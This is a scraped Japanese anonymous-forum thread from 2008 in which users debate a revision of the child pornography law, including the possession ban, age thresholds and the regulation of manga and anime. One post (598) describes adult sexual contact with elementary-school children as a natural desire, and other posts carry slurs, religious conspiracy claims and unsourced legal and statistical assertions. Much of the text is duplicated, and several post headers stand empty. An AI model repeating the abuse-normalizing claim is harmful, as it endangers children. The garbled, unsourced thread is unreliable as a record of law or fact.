で、そのキモヲタとやらがアダルトゲームの影響で犯罪に走ったという根拠は？
576 ：名無しさん＠九周年：2008/08/20(水) 12:39:46 ID:iEJorCPP0
>>564
http://www.kobe-np.co.jp/edu/s-9/01.html
教師の性犯罪は他の人の１５倍なんだけど、
ソースは神戸新聞
どう数えても教師の性犯罪のほうが多いだろうｗ
今年も体育会系の性犯罪がいくつも起こりましたけど。
http://www.kobe-np.co.jp/edu/s-9/01.html
教師の性犯罪は他の人の１５倍なんだけど、
ソースは神戸新聞
どう数えても教師の性犯罪のほうが多いだろうｗ
今年も体育会系の性犯罪がいくつも起こりましたけど。
>>560
わいせつ性は争点にならない。
チャタレイ判例でも松文館事件でも、わいせつかどうかは裁判所は無視した。
それに仮に不起訴でも大ダメージだよ。児童ポルノ所持で逮捕されて実名報道されるわけだ。
>>561
「普通」って勝手に決めるのがおかしい。
それに成人が自分の判断で見せた場合でも駄目だと法務省が言ってる。
>>564
キモオタが起こした事件がその1例だけなら、むしろ安全だってことだ。
オタクは何人いるんだ？
人口比と犯罪者比率を出してみ。犯罪発生率が異常に低いってことになる。
大半の児童が被害者の事件は、親の犯行だ。
わいせつ性は争点にならない。
チャタレイ判例でも松文館事件でも、わいせつかどうかは裁判所は無視した。
それに仮に不起訴でも大ダメージだよ。児童ポルノ所持で逮捕されて実名報道されるわけだ。
>>561
「普通」って勝手に決めるのがおかしい。
それに成人が自分の判断で見せた場合でも駄目だと法務省が言ってる。
>>564
キモオタが起こした事件がその1例だけなら、むしろ安全だってことだ。
オタクは何人いるんだ？
人口比と犯罪者比率を出してみ。犯罪発生率が異常に低いってことになる。
大半の児童が被害者の事件は、親の犯行だ。
思想の自由なんて案外簡単に侵されるもんだねｗ
580 ：名無しさん＠九周年：2008/08/20(水) 12:41:15 ID:OO/sltkH0
581 ：名無しさん＠九周年：2008/08/20(水) 12:41:58 ID:bn9LHFFp0
つうか思ったんだけど写真じゃなきゃおｋなら
もしかして海水浴場画家って流行る？
油絵科なんだけど
もしかして海水浴場画家って流行る？
油絵科なんだけど
582 ：名無しさん＠九周年：2008/08/20(水) 12:42:54 ID:goo4DzbW0
>>569
名誉毀損や騒音規制は、他人が勝手に認定するもんじゃないだろ。
名誉毀損や騒音規制は、他人が勝手に認定するもんじゃないだろ。
創価学会の信仰の自由は認めてやってんのに一般人の思想の自由を侵害しようとするとは
これで逮捕された奴は裁判所に訴えれば違憲判決が出て勝てるだろ
これで逮捕された奴は裁判所に訴えれば違憲判決が出て勝てるだろ
585 ：名無しさん＠九周年：2008/08/20(水) 12:43:08 ID:d8gUr3oL0
>>572
12 ：Miss名無しさん：2008/01/24(木) 21:27:00 ID:gvEfqKNe
>11
どこが差別か理解に苦しむ。出てる人は好きで出てるわけだし、見てる人も楽しんでる。
問題ない
男女逆の立場だとこういう意見は無視されるのにね
12 ：Miss名無しさん：2008/01/24(木) 21:27:00 ID:gvEfqKNe
>11
どこが差別か理解に苦しむ。出てる人は好きで出てるわけだし、見てる人も楽しんでる。
問題ない
男女逆の立場だとこういう意見は無視されるのにね
>>581
いいえ、イラストも児童”っぽく”見えればアウト
いいえ、イラストも児童”っぽく”見えればアウト
588 ：名無しさん＠九周年：2008/08/20(水) 12:43:35 ID:BK9iTy9tO
589 ：名無しさん＠九周年：2008/08/20(水) 12:43:40 ID:U4K7Zuaf0
変態文化も文化のうち
と国士様がおっしゃっています
と国士様がおっしゃっています
590 ：名無しさん＠九周年：2008/08/20(水) 12:44:12 ID:MHmSkcqA0
性癖なんで生まれつきなんじゃないか
刑務所に入ってても再犯率高いのはポルノの影響じゃないだろ
これで犯罪が増えたら誰が責任取るのかその辺ハッキリしてくれ
刑務所に入ってても再犯率高いのはポルノの影響じゃないだろ
これで犯罪が増えたら誰が責任取るのかその辺ハッキリしてくれ
>>573
>ロリ画像で荒稼ぎって奴が逮捕されたら、客まで一網打尽ってなるのか。
すでに単純所持が禁止されてる奈良県の条例で最初に捕まったのは
業者からのリストで割り出された客の一人。
>二次元も規制されるとして
二次元は規制されない。具体的な二次規制案なんてどこも作ってない。
なので架空の質問には答えようがない。
>ロリ画像で荒稼ぎって奴が逮捕されたら、客まで一網打尽ってなるのか。
すでに単純所持が禁止されてる奈良県の条例で最初に捕まったのは
業者からのリストで割り出された客の一人。
>二次元も規制されるとして
二次元は規制されない。具体的な二次規制案なんてどこも作ってない。
なので架空の質問には答えようがない。
＞自己の性的好奇心を満たす目的
ああ、オナニー禁止ですね
ああ、オナニー禁止ですね
593 ：名無しさん＠九周年：2008/08/20(水) 12:44:54 ID:iDD2fv/80
>>562
匿名で通報すりゃいいわけで。
疑われはするだろうが、証拠がなければ
物証の多い方が当然疑いを強く持たれる。
それこそ、無実の罪であってもシラ切りとおすのは
普通の人にはすごく難しい。
しかも、警察側が取り締まる気満々ならなお更。
匿名で通報すりゃいいわけで。
疑われはするだろうが、証拠がなければ
物証の多い方が当然疑いを強く持たれる。
それこそ、無実の罪であってもシラ切りとおすのは
普通の人にはすごく難しい。
しかも、警察側が取り締まる気満々ならなお更。
594 ：名無しさん＠九周年：2008/08/20(水) 12:44:53 ID:WvPt3ejzO
>563
ザルじゃん
性欲関係ない年齢に人気あるなら大丈夫だよ
ザルじゃん
性欲関係ない年齢に人気あるなら大丈夫だよ
>>561
現行法を適応すれば画像が広がるのは防げる。
現行法を適応すれば画像が広がるのは防げる。
596 ：名無しさん＠九周年：2008/08/20(水) 12:45:46 ID:EcofcqPc0
>>579
本当にそうだな。
まさか21世紀になってこんな戦前の治安維持法とまったく同じ、
言論弾圧への布石法案巡って、
昼飯食べながら憂鬱を共有するようになるなんてな。
思っても見なかったよ…orz
本当にそうだな。
まさか21世紀になってこんな戦前の治安維持法とまったく同じ、
言論弾圧への布石法案巡って、
昼飯食べながら憂鬱を共有するようになるなんてな。
思っても見なかったよ…orz
597 ：名無しさん＠九周年：2008/08/20(水) 12:45:48 ID:goo4DzbW0
598 ：名無しさん＠九周年：2008/08/20(水) 12:45:57 ID:1wLXOJjv0
プチエンジェル事件は結局
権力者(ロリ)が普段している小学生との性交渉。
これを自分たちの特権にしたい＆犯罪化することにより
自分の孫や家族を守りたい。
権力の象徴なわけ！
世界規模で特権階級が
生物学的に一番優れている年代の女性を独占
倫理という名の詭弁を盾にね。
その権力者の行動自体は生理的に自然な欲求だよね
権力を持ったら駆使したくなってしまうものさ。
でも本当はその権力者たちにこそ倫理が必要だよな。
自分らの欲望だけで民衆を支配してはいけないって言うね。
権力者(ロリ)が普段している小学生との性交渉。
これを自分たちの特権にしたい＆犯罪化することにより
自分の孫や家族を守りたい。
権力の象徴なわけ！
世界規模で特権階級が
生物学的に一番優れている年代の女性を独占
倫理という名の詭弁を盾にね。
その権力者の行動自体は生理的に自然な欲求だよね
権力を持ったら駆使したくなってしまうものさ。
でも本当はその権力者たちにこそ倫理が必要だよな。
自分らの欲望だけで民衆を支配してはいけないって言うね。
成立当初はザルでも後々におもいっきり悪用されそうな気がせんでもないな
なんせ主導してるのが創価だからｗ
なんせ主導してるのが創価だからｗ
まず規制派議員の多い栃木県で先に厳重な処罰やって
どういう風になるか試してみたら？
そういうの拒否するでしょ絶対
それで世の中良くなるってのは建前論だからね。
どういう風になるか試してみたら？
そういうの拒否するでしょ絶対
それで世の中良くなるってのは建前論だからね。
602 ：名無しさん＠九周年：2008/08/20(水) 12:47:45 ID:bn9LHFFp0
とりあえずデッサンだけは褒められる自分は
どうすれば良いのか教えてくれ
どうすれば良いのか教えてくれ
603 ：名無しさん＠九周年：2008/08/20(水) 12:48:01 ID:G/lMoics0
http://www.debito.org/chibikurosanbo.html#parody
北海道情報大学准教授の白人 有道出人（Arudou Debito）が自身のHPにおいて
ちびきいろジャップという日本人差別のフィクションを掲載しています
有道出人とは
http://ja.wikipedia.org/wiki/%E6%9C%89%E9%81%93%E5%87%BA%E4%BA%BA
北海道情報大学准教授の白人 有道出人（Arudou Debito）が自身のHPにおいて
ちびきいろジャップという日本人差別のフィクションを掲載しています
有道出人とは
http://ja.wikipedia.org/wiki/%E6%9C%89%E9%81%93%E5%87%BA%E4%BA%BA
604 ：名無しさん＠九周年：2008/08/20(水) 12:48:31 ID:goo4DzbW0
605 ：名無しさん＠九周年：2008/08/20(水) 12:48:34 ID:TpN74TjLO
そもそも、性欲を刺激し興奮させるものって、どうやって認定するんだ？
素っ裸の裁判員を100人集めて、ちんちんをサーモグラフィで観察とか？
100人中50人以上のおちんちんが真っ赤になったらアウト。
素っ裸の裁判員を100人集めて、ちんちんをサーモグラフィで観察とか？
100人中50人以上のおちんちんが真っ赤になったらアウト。
>>578
>わいせつ性は争点にならない。
>チャタレイ判例でも松文館事件でも、わいせつかどうかは裁判所は無視した。
わいせつ性という言葉に誤解を与えたかな？
定義の「性欲を興奮させ又は刺激するもの」という部分のことだよ。
「アルバムの家族や友人との海水浴の写真」について、
公判でこの定義への該当性を証明・維持するのは無理だろ。
>それに仮に不起訴でも大ダメージだよ。
>児童ポルノ所持で逮捕されて実名報道されるわけだ。
公判が維持できないんだから、逮捕もされない。
こういう例を挙げる人は、どういう考えで、
そんな写真に警察￥検察が処罰の必要性を見出すと思ってるんだ？
そんな主張をしない真面目な反対派が信用を失うだけだろ。
>わいせつ性は争点にならない。
>チャタレイ判例でも松文館事件でも、わいせつかどうかは裁判所は無視した。
わいせつ性という言葉に誤解を与えたかな？
定義の「性欲を興奮させ又は刺激するもの」という部分のことだよ。
「アルバムの家族や友人との海水浴の写真」について、
公判でこの定義への該当性を証明・維持するのは無理だろ。
>それに仮に不起訴でも大ダメージだよ。
>児童ポルノ所持で逮捕されて実名報道されるわけだ。
公判が維持できないんだから、逮捕もされない。
こういう例を挙げる人は、どういう考えで、
そんな写真に警察￥検察が処罰の必要性を見出すと思ってるんだ？
そんな主張をしない真面目な反対派が信用を失うだけだろ。
3wstFBpE0
ロリコン差別に安心感を与えようとしてるが
なんなの？
ロリコン差別に安心感を与えようとしてるが
なんなの？
608 ：名無しさん＠九周年：2008/08/20(水) 12:49:53 ID:YVoVT1ZKO
児童ポルノ同人作家(笑)ハローワーク直行涙目wwwwwwwwwwwwwwwwww
元々は二次元規制がメインだったから改正が通ったら創価は二次元にも規制かけてくるだろうな
二次元は大丈夫なんて言ってるバカは脳内お花畑すぎ
二次元は大丈夫なんて言ってるバカは脳内お花畑すぎ
611 ：名無しさん＠九周年：2008/08/20(水) 12:50:49 ID:goo4DzbW0
612 ：名無しさん＠九周年：2008/08/20(水) 12:51:21 ID:bn9LHFFp0
そうなったら有名漫画家通報しまくって
世界から愚法だと言わせてやる
世界から愚法だと言わせてやる
そうか発禁になる漫画が出てくるわけだな。
びっくりするような過去の名作まで含んで。
所持禁止されたら捨てなきゃ行かんのか？
焚書坑儒じゃねーか。
びっくりするような過去の名作まで含んで。
所持禁止されたら捨てなきゃ行かんのか？
焚書坑儒じゃねーか。
617 ：名無しさん＠九周年：2008/08/20(水) 12:53:08 ID:LYJG4/0F0
しかし、男性差別の被害妄想をふくまらせている人間というのは、一体何をどう理解しているのかが気になりますね
現行法の定義を二次元物の児童ポルノに当てはめれば、男性向け女性向けの区別なく、二次元物児童ポルノは
取り締まられるというのに。
現行法の定義を二次元物の児童ポルノに当てはめれば、男性向け女性向けの区別なく、二次元物児童ポルノは
取り締まられるというのに。
618 ：名無しさん＠九周年：2008/08/20(水) 12:53:38 ID:bn9LHFFp0
古本屋全滅だなｗ
>>614
そこの年齢を変える必要性を見出せないけどな。
現行法の定義だが、見直し対象として挙げられてないだろ。
女子高生のエロを見たいという本音はわかるが、エロの本音で法律が決まるわけじゃないぞ。
児童福祉という観点から18歳まで児童として保護することに明確な問題とまで言えないだろ。
そこの年齢を変える必要性を見出せないけどな。
現行法の定義だが、見直し対象として挙げられてないだろ。
女子高生のエロを見たいという本音はわかるが、エロの本音で法律が決まるわけじゃないぞ。
児童福祉という観点から18歳まで児童として保護することに明確な問題とまで言えないだろ。
>>606
んじゃ海水浴場で一眼レフ持ってうろついて、女の子の写真撮りまくってこい。
”肖像権の侵害”以外で逮捕されるから。
当の女の子が迷惑してるかどうか、訴えたかどうかとは関係ない。
定義への該当性を、検察が証明する必要がないってことでチャタレイや松文館の事例を
出したんだよ。弁護側は他との整合性や社会一般のことを例にだして弁護したが、まった
く無視され、わいせつかどうかは争点にならなかった。
公判維持できないもので逮捕されてることなんて、山ほどある。
>そんな写真に警察￥検察が処罰の必要性を見出すと思ってるんだ？
見せしめ。警察がよくやってることだ。
んじゃ海水浴場で一眼レフ持ってうろついて、女の子の写真撮りまくってこい。
”肖像権の侵害”以外で逮捕されるから。
当の女の子が迷惑してるかどうか、訴えたかどうかとは関係ない。
定義への該当性を、検察が証明する必要がないってことでチャタレイや松文館の事例を
出したんだよ。弁護側は他との整合性や社会一般のことを例にだして弁護したが、まった
く無視され、わいせつかどうかは争点にならなかった。
公判維持できないもので逮捕されてることなんて、山ほどある。
>そんな写真に警察￥検察が処罰の必要性を見出すと思ってるんだ？
見せしめ。警察がよくやってることだ。
621 ：名無しさん＠九周年：2008/08/20(水) 12:54:50 ID:goo4DzbW0
>>611
うむ。国際基準ぐらいでまず妥当だと思う。
うむ。国際基準ぐらいでまず妥当だと思う。
623 ：名無しさん＠九周年：2008/08/20(水) 12:56:39 ID:bn9LHFFp0
国際基準なら誰も文句いわねーよ
>>614
下げるといままで違法だったものまで堂々と流通するようになるからね。
そっちのがメリットが大きいって判断ができないと、下げるわけにはいかないでしょ。
一般の人でもわかるような長所を考えついたら、どっかの政党に送ってみな。
つか、おまえらほんとに自分の頭ってもんを使わないな
下げるといままで違法だったものまで堂々と流通するようになるからね。
そっちのがメリットが大きいって判断ができないと、下げるわけにはいかないでしょ。
一般の人でもわかるような長所を考えついたら、どっかの政党に送ってみな。
つか、おまえらほんとに自分の頭ってもんを使わないな
＞18歳未満で衣服を一部つけていない姿
児童ポルノの基準がこれじゃ
ドラえもんは児童ポルノにはいるんじゃねーか？
うる星やつらは？
この法律は怖すぎる。
児童ポルノの基準がこれじゃ
ドラえもんは児童ポルノにはいるんじゃねーか？
うる星やつらは？
この法律は怖すぎる。
>>604
“キリスト教系の規制”
じゃなくてキリスト教系が、自分達はさも聖人で
他の宗教の国は下劣であると言わんがために
日本に責任転嫁して自分達の国の本当の意味での人権侵害人身売買強姦などの
犯罪を誤魔化す為の表向き奇麗事規制なわけだな
“キリスト教系の規制”
じゃなくてキリスト教系が、自分達はさも聖人で
他の宗教の国は下劣であると言わんがために
日本に責任転嫁して自分達の国の本当の意味での人権侵害人身売買強姦などの
犯罪を誤魔化す為の表向き奇麗事規制なわけだな
627 ：名無しさん＠九周年：2008/08/20(水) 12:57:53 ID:goo4DzbW0
>>621
>それは出演を強制する行為により侵害される人権だね。
>単純所持行為により侵害される人権ではない。混同しないように。
強制ではなくても、保護すべき精神的苦痛、精神発達上の障害、教育上の悪影響はあるよ。
そして、出演において人権侵害があるからこそ、
所持を違法化する根拠になるんだろ。
それを所持されるそのものが人権侵害となるんだし、
所持が合法なことが製造・販売・拡散に寄与している。
十分な根拠じゃないか。
>それは出演を強制する行為により侵害される人権だね。
>単純所持行為により侵害される人権ではない。混同しないように。
強制ではなくても、保護すべき精神的苦痛、精神発達上の障害、教育上の悪影響はあるよ。
そして、出演において人権侵害があるからこそ、
所持を違法化する根拠になるんだろ。
それを所持されるそのものが人権侵害となるんだし、
所持が合法なことが製造・販売・拡散に寄与している。
十分な根拠じゃないか。
630 ：名無しさん＠九周年：2008/08/20(水) 12:58:11 ID:iEJorCPP0
>>616
それではらんま１/２も危ないな、
未成年少女の下着姿どころか入浴シーンも沢山有るし。
こないだの高橋留美子展は児童ポルノ展になってしまうぞｗ
タッチ、ラフ、ＧＳ美神、絶対可憐チルドレン、とらぶる、ケンイチ、ウミショーも捨てないと駄目ってことか
ドラゴンボールやドラえもんも発禁か…
それではらんま１/２も危ないな、
未成年少女の下着姿どころか入浴シーンも沢山有るし。
こないだの高橋留美子展は児童ポルノ展になってしまうぞｗ
タッチ、ラフ、ＧＳ美神、絶対可憐チルドレン、とらぶる、ケンイチ、ウミショーも捨てないと駄目ってことか
ドラゴンボールやドラえもんも発禁か…
>>613
「出演したこと」なら製造だろ。そっちは現行法で逮捕だ。
>>617
定義をそのまま当てはめないのは、今の少女漫画を見てもわかる通りだ。
有害図書指定くらった少女漫画があるか？
>>619
”G8で日本だけ”が単純所持禁止してないって理由を出してるくせに、G8で日本とアメリカだけが
18歳未満が対象ってのはどうしておかしいと思わないんだ？
>>624
んじゃ国際基準に合わせるっていう規制派の論法が嘘じゃん。
「出演したこと」なら製造だろ。そっちは現行法で逮捕だ。
>>617
定義をそのまま当てはめないのは、今の少女漫画を見てもわかる通りだ。
有害図書指定くらった少女漫画があるか？
>>619
”G8で日本だけ”が単純所持禁止してないって理由を出してるくせに、G8で日本とアメリカだけが
18歳未満が対象ってのはどうしておかしいと思わないんだ？
>>624
んじゃ国際基準に合わせるっていう規制派の論法が嘘じゃん。
>>627
>年齢を下げ、ポルノの範囲を限定しろ。
児童福祉の対象として保護すべき年齢は18歳がラインなのに、
絶対に下げなきゃならない理由があるか？
定義見直しを訴えるなら政治活動でもするしかないだろ。
>年齢を下げ、ポルノの範囲を限定しろ。
児童福祉の対象として保護すべき年齢は18歳がラインなのに、
絶対に下げなきゃならない理由があるか？
定義見直しを訴えるなら政治活動でもするしかないだろ。
その“国際基準”とやらを
厳密に守れる国が
世界に何割あるのか教えて欲しいものだな
自称先進国の表向きの建前は除いてな
厳密に守れる国が
世界に何割あるのか教えて欲しいものだな
自称先進国の表向きの建前は除いてな
>>628
>そして、出演において人権侵害があるからこそ、
出演と所持は別。
上で推進派が名誉毀損を例に出してたけど、じゃ、名誉毀損の週刊誌記事を持っている人
は「単純所持で」逮捕されるべきだと思うのか？
>>632
全部じゃなくてもいいから、どの国がどう引き上げてるのか説明してくれ。
つーか欧米っていっても、欧州のほとんどの国は規制しとらんし、米国は最初っから高いが。
>そして、出演において人権侵害があるからこそ、
出演と所持は別。
上で推進派が名誉毀損を例に出してたけど、じゃ、名誉毀損の週刊誌記事を持っている人
は「単純所持で」逮捕されるべきだと思うのか？
>>632
全部じゃなくてもいいから、どの国がどう引き上げてるのか説明してくれ。
つーか欧米っていっても、欧州のほとんどの国は規制しとらんし、米国は最初っから高いが。
636 ：名無しさん＠九周年：2008/08/20(水) 13:01:43 ID:G9e0WmbiO
>>591
なるほどね。今んとこは極端に大量購入した奴を見せしめにって訳か。まあ最初のうちはそんなもんだろうな。で、後は世論の動向を見つつって感じだな。
しかし、ここは二次元規制に関してかなりナイーヴだなｗｗモニターの向こう側が見えるようだｗｗｗ
なるほどね。今んとこは極端に大量購入した奴を見せしめにって訳か。まあ最初のうちはそんなもんだろうな。で、後は世論の動向を見つつって感じだな。
しかし、ここは二次元規制に関してかなりナイーヴだなｗｗモニターの向こう側が見えるようだｗｗｗ
637 ：名無しさん＠九周年：2008/08/20(水) 13:01:49 ID:goo4DzbW0
>>628
＞出演において人権侵害があるからこそ、
＞所持を違法化する根拠になるんだろ。
なりません。
刑法で規制していいのは第一次的直接行為のみが原則。
＞それを所持されるそのものが人権侵害となるんだし、
それこそ、もっと人権侵害にならない。
所持により侵害される利益が存在しないから。
（単純所持は、いかなる利益も不利益も与えない）
＞出演において人権侵害があるからこそ、
＞所持を違法化する根拠になるんだろ。
なりません。
刑法で規制していいのは第一次的直接行為のみが原則。
＞それを所持されるそのものが人権侵害となるんだし、
それこそ、もっと人権侵害にならない。
所持により侵害される利益が存在しないから。
（単純所持は、いかなる利益も不利益も与えない）
638 ：名無しさん＠九周年：2008/08/20(水) 13:01:54 ID:651Ef1zrO
>>629
それじゃいままでの「ポルノ大国」という汚名はそそげないし、
日本人は外国人からみると見た目が幼いから年齢を
引き上げてないととてもインターナショナルな
スタンダードにはならない。
日本のメンツを考えろ、よーく。
生産性のない変態が捕まっても日本には何の被害もない。
冤罪はちゃんと裁判で戦えばいいだろ。
名誉回復は努力すれば出来る。甘えるな。
それじゃいままでの「ポルノ大国」という汚名はそそげないし、
日本人は外国人からみると見た目が幼いから年齢を
引き上げてないととてもインターナショナルな
スタンダードにはならない。
日本のメンツを考えろ、よーく。
生産性のない変態が捕まっても日本には何の被害もない。
冤罪はちゃんと裁判で戦えばいいだろ。
名誉回復は努力すれば出来る。甘えるな。
知れば知るほどカスみたいな改正案だなｗ
>>631
>G8で日本だけ”が単純所持禁止してないって理由を出してるくせに、
これが唯一の根拠じゃないだろ？
これだけで規制が必要なわけじゃないぞ。
>G8で日本とアメリカだけが18歳未満が対象ってのはどうしておかしいと思わないんだ？
「単純所持規制で児童を守る」というのが共通点なだけでしょ。
選挙権や成人の年齢にも違いがあるように、
どこまでを児童として保護するかは各国の判断だろ。
>G8で日本だけ”が単純所持禁止してないって理由を出してるくせに、
これが唯一の根拠じゃないだろ？
これだけで規制が必要なわけじゃないぞ。
>G8で日本とアメリカだけが18歳未満が対象ってのはどうしておかしいと思わないんだ？
「単純所持規制で児童を守る」というのが共通点なだけでしょ。
選挙権や成人の年齢にも違いがあるように、
どこまでを児童として保護するかは各国の判断だろ。
たとえば女子高校生が納得ずくで名のある写真家の芸術系ヌードやるのも
いかんわけ？
いかんわけ？
643 ：名無しさん＠九周年：2008/08/20(水) 13:04:03 ID:wVmG990H0
>>601
児童ポルノ法の見直しって定期的にすることになっているんだけど、
3年後に二次規制をする予定で、
今回の法案提出で二次規制への伏線、
を自民・公明の案では盛り込むので、↓
「・アニメ、ＣＧ、漫画などの児童ポルノの影響を調査研究するよう政府に義務付け」
これで次回の見直し改正前までに影響ありと言う調査結果が出たら、
事実上次回の見直し改正時には、改正が既成事実化されて、
二次規制が導入確実な情勢に持って行きたいのが自民・公明。
今回の単純所持規制も前回の見直し時に2次ヲタなどに猛反対されて、
つぶされたので、こういう手段を使って二次ヲタの反対を封じ込めて、
既成事実化で反対できない情勢にしてしまおうと言う戦術だろうな。
なんせ、今回の単純所持規制改正案も、
「罰則無しですよ。」とはじめは言っておいて、
いきなり罰則ありに変更してだまし討ちをしているからね、
自民・公明。
児童ポルノ法の見直しって定期的にすることになっているんだけど、
3年後に二次規制をする予定で、
今回の法案提出で二次規制への伏線、
を自民・公明の案では盛り込むので、↓
「・アニメ、ＣＧ、漫画などの児童ポルノの影響を調査研究するよう政府に義務付け」
これで次回の見直し改正前までに影響ありと言う調査結果が出たら、
事実上次回の見直し改正時には、改正が既成事実化されて、
二次規制が導入確実な情勢に持って行きたいのが自民・公明。
今回の単純所持規制も前回の見直し時に2次ヲタなどに猛反対されて、
つぶされたので、こういう手段を使って二次ヲタの反対を封じ込めて、
既成事実化で反対できない情勢にしてしまおうと言う戦術だろうな。
なんせ、今回の単純所持規制改正案も、
「罰則無しですよ。」とはじめは言っておいて、
いきなり罰則ありに変更してだまし討ちをしているからね、
自民・公明。
644 ：名無しさん＠九周年：2008/08/20(水) 13:04:18 ID:6RzZte6+O
ロリコンは弱者の人格を否定するものだから
社会に許されてしまったら重大な人権侵害
単純所持禁止は当然だ
社会に許されてしまったら重大な人権侵害
単純所持禁止は当然だ
646 ：名無しさん＠九周年：2008/08/20(水) 13:05:03 ID:bn9LHFFp0
>>638日本人は見た目が幼いから
SEXするなとでも言いたげな論調ですね
SEXするなとでも言いたげな論調ですね
>>638
児童ポルノ大国なんて言ってたのは毎日と日本ユニセフくらいだぞ。
諸外国ではそんな評判はない。つーか、海外でさんざネガキャンしてきたのが日本ユニセフと
矯風会だけどな。
>>640
イギリス、ドイツ、イタリアでは13歳以下だよ。
フランスは16歳。
>>641
唯一じゃなくても根拠として出してる上、「日本だけが国際基準に合わせないと、逮捕の歩調が
合わない」とか言ってるだろ。
日本だけ、ポルノの要件が広すぎる。ヌードまでも該当してるのは日本だけだ。
各国の判断なら、単純所持も同じことだ。
児童ポルノ大国なんて言ってたのは毎日と日本ユニセフくらいだぞ。
諸外国ではそんな評判はない。つーか、海外でさんざネガキャンしてきたのが日本ユニセフと
矯風会だけどな。
>>640
イギリス、ドイツ、イタリアでは13歳以下だよ。
フランスは16歳。
>>641
唯一じゃなくても根拠として出してる上、「日本だけが国際基準に合わせないと、逮捕の歩調が
合わない」とか言ってるだろ。
日本だけ、ポルノの要件が広すぎる。ヌードまでも該当してるのは日本だけだ。
各国の判断なら、単純所持も同じことだ。
649 ：名無しさん＠九周年：2008/08/20(水) 13:06:16 ID:Nj4O6YJc0
ポルノに違法もクソもあるか。
若者の健全な育成には欠かせない、大事な文化だろうが。
若者の健全な育成には欠かせない、大事な文化だろうが。
>>635
>上で推進派が名誉毀損を例に出してたけど、
これは俺が挙げた例ではないね。
でも、敢えて答えるよ。
>じゃ、名誉毀損の週刊誌記事を持っている人
>は「単純所持で」逮捕されるべきだと思うのか？
しかし、名誉毀損の雑誌が人権侵害になるからこそ、
雑誌の回収を求めることにはおかしな話ではない。
実際に自主的に回収する出版社もあるだろ？
それと同じ流れで、より強く、単純所持禁止で厳しく対処するかどうかは、
その雑誌・作品が持っている人権侵害の程度によってわかれるだけ。
名誉毀損より児童の人権の方が重いと判断されるからこそ、
単純所持禁止という強い規制まで認めれられるだけだろ。
>上で推進派が名誉毀損を例に出してたけど、
これは俺が挙げた例ではないね。
でも、敢えて答えるよ。
>じゃ、名誉毀損の週刊誌記事を持っている人
>は「単純所持で」逮捕されるべきだと思うのか？
しかし、名誉毀損の雑誌が人権侵害になるからこそ、
雑誌の回収を求めることにはおかしな話ではない。
実際に自主的に回収する出版社もあるだろ？
それと同じ流れで、より強く、単純所持禁止で厳しく対処するかどうかは、
その雑誌・作品が持っている人権侵害の程度によってわかれるだけ。
名誉毀損より児童の人権の方が重いと判断されるからこそ、
単純所持禁止という強い規制まで認めれられるだけだろ。
653 ：名無しさん＠九周年：2008/08/20(水) 13:07:07 ID:CtDM/dN9O
654 ：名無しさん＠九周年：2008/08/20(水) 13:07:16 ID:goo4DzbW0
>>それじゃいままでの「ポルノ大国」という汚名はそそげないし、
>>日本人は外国人からみると見た目が幼いから年齢を
>>引き上げてないととてもインターナショナルな
>>スタンダードにはならない。
お前は毎日新聞の件知らないのか？
本当に児童ポルノ大国なら証拠出してみろよ。
>>日本のメンツを考えろ、よーく。
>>生産性のない変態が捕まっても日本には何の被害もない。
>>冤罪はちゃんと裁判で戦えばいいだろ。
>>名誉回復は努力すれば出来る。甘えるな。
裁判費用お前が全額出してくれるなら考えてもいいぞ。
>>日本人は外国人からみると見た目が幼いから年齢を
>>引き上げてないととてもインターナショナルな
>>スタンダードにはならない。
お前は毎日新聞の件知らないのか？
本当に児童ポルノ大国なら証拠出してみろよ。
>>日本のメンツを考えろ、よーく。
>>生産性のない変態が捕まっても日本には何の被害もない。
>>冤罪はちゃんと裁判で戦えばいいだろ。
>>名誉回復は努力すれば出来る。甘えるな。
裁判費用お前が全額出してくれるなら考えてもいいぞ。
自称日本人工作員必死ですね
拉致アニメめぐみを規制したいですね、わかります
あると都合の悪い作品を規制したいですね、わかります
拉致アニメめぐみを規制したいですね、わかります
あると都合の悪い作品を規制したいですね、わかります
657 ：名無しさん＠九周年：2008/08/20(水) 13:07:43 ID:651Ef1zrO
>>642
後年後悔するかもしれないだろ。
若い連中の判断能力なんてたかがしれてるんだから、
そういう後々取り返しのつかない事のないようにも規制いるんじゃね
政治家の本音は利権とメンツだろうが、
その結果として日本が良くなるなら
なにもイチャモン付けることはない
後年後悔するかもしれないだろ。
若い連中の判断能力なんてたかがしれてるんだから、
そういう後々取り返しのつかない事のないようにも規制いるんじゃね
政治家の本音は利権とメンツだろうが、
その結果として日本が良くなるなら
なにもイチャモン付けることはない
658 ：名無しさん＠九周年：2008/08/20(水) 13:07:55 ID:LYJG4/0F0
>>631
少女コミックという少女漫画雑誌が有害図書指定された過去があるようですね
少女コミックという少女漫画雑誌が有害図書指定された過去があるようですね
659 ：名無しさん＠九周年：2008/08/20(水) 13:08:05 ID:ztaqkag3O
断末魔が9スレ目かぁ
ロリヲタの屁理屈は笑えますねｗ
ま、薬中が薬を取り上げられるのは苦しいそうですが
がんがって真っ当な人間に自主更生してくださいｗ
ロリヲタの屁理屈は笑えますねｗ
ま、薬中が薬を取り上げられるのは苦しいそうですが
がんがって真っ当な人間に自主更生してくださいｗ
>>657
どう考えても政治家の判断力の方が悪い
どう考えても政治家の判断力の方が悪い
661 ：名無しさん＠九周年：2008/08/20(水) 13:09:23 ID:iEJorCPP0
>>640
ソース出せよ。こっちも探すから。
ソース出せよ。こっちも探すから。
663 ：名無しさん＠九周年：2008/08/20(水) 13:09:51 ID:TpN74TjLO
Q：なぜ、児童ポルノの定義が曖昧なまま放置されているのか？
広範かつ曖昧な第３項「衣服の全部または一部をつけない児童の姿態で、性欲を興奮させ
又は刺激するもの。」さえなければ、ある程度まともな法律に見えなくも無い。
A：お墨付きを与える自主規制団体（利権が発生）を作れないから。
もっと端的に言うと「儲からないから」。実際、規制派の議員や宗教団体の
サポートをしている人々の中には、利権にありつきたい人達がちらほらと。
野田聖子が、自前のエロゲー利権団体を立ち上げようとした関係者に担がれた事件に、
この構造がよく現れている。「野田聖子 ジュベネイル・ガイド」で検索。
週刊新潮がすっぱ抜いた内容
ttp://otaku.rulez.jp/kill_the_assholes/noda/shincho_02.jpg
>「彼らの思惑は、ソフ倫を潰し、新たな自主規制団体を自分たちで
>立ち上げることにあるのではないか」
>「ソフ倫には、281のメーカーが加盟しています。その入会金は1社
>30万円、会費が月1万円、ソフトの審査料が1タイトル10万円、市販の
>際にパッケージに貼る"18禁"のシールが１枚あたりざっと20円。
>そうした利権に目をつけた可能性はありますね」
広範かつ曖昧な第３項「衣服の全部または一部をつけない児童の姿態で、性欲を興奮させ
